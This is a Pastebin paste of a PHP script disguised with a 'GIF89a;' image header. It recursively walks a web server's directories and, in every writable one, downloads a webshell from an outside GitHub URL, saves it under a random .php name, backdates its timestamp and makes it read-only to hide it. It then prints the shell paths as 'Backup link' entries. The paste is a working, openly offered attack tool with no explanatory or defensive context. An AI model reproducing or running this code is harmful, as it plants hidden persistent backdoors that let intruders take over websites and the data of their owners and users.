Advertisement
blackhat1337

Untitled

Feb 8th, 2024
82
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.75 KB | None | 0 0
  1. GIF89a;
  2. <?php
  3.  
  4. $getCurrentDir = getcwd();
  5. $domain = $_SERVER['HTTP_HOST'];
  6.  
  7. function massUpload($getDir) {
  8.  
  9. foreach(scandir($getDir) as $pwd) {
  10. if ($pwd === "." || $pwd == "..") { continue; }
  11. $path = $getDir . '/' . $pwd;
  12. if (is_dir($path)) {
  13. massUpload($path);
  14. }
  15. }
  16.  
  17. if (is_writable($getDir)) {
  18. $rName = mt_rand().".php";
  19. $webShell = file_get_contents("https://raw.githubusercontent.com/exploit-haxor/webshell/main/index.jpg.phP7");
  20. file_put_contents($getDir . "/" . $rName, $webShell);
  21. touch($getDir . "/" . $rName, strtotime('2011-03-02'));
  22. chmod($getDir . "/" . $rName, 0444);
  23. sleep(0.5);
  24.  
  25. echo "Backup link ".$getDir . "/" . $rName. "<br>";
  26. }
  27. }
  28.  
  29. massUpload($getCurrentDir);
  30.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement